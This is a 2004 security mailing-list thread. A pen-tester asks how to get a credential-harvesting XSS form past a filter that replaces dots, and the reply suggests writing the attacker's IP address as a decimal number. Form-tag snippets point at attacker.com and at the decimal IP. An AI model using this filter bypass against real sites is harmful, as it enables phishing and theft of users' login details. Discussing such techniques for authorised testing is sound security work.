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RE: Fullstop Substitution in XSS
From: "Pete Foster" <petef () sec-tec co uk>
Date: Tue, 1 Jun 2004 09:02:20 +0100

Hi Calum

You could use a pure decimal for IP address representation.

Use the online tool at:

For example the IP address can be represented as 3232235521.

So your HTML FORM code would look like:

<form target="http://3232235521/path/to/script";>

Hope this helps.


-----Original Message-----
From: Calum Power [mailto:enune () fribble net]
Sent: 29 May 2004 05:49
To: webappsec () securityfocus com
Subject: Fullstop Substitution in XSS

Hi all,

As a part of a recent Pen-Test, I came across an XSS vulnerabiity. The PHP
script that has this vuln is filtering fullstops (.) and replacing them
with underscores (_).
Now, I'm trying trying to write a Proof-of-Concept, in which a
(convincing) form would be outputted that could 'harvest' user details and
send them to an attacker's webserver.

My problem lies in the output of the form tags. Any: <form
target="http://attacker.com/path/to/script";> is of course being filtered
into: <form target="http://attacker_com/path/to/script";>

Has anyone else had a similar problem? I've tried using hex and unicode
encoding, to no avail (they get decoded before the filtering, obviously).

Any help would be appreciated.

Calum Power
Cultural Jammer
Security Enthusiast
Hopeless Cynic

enune () fribble net

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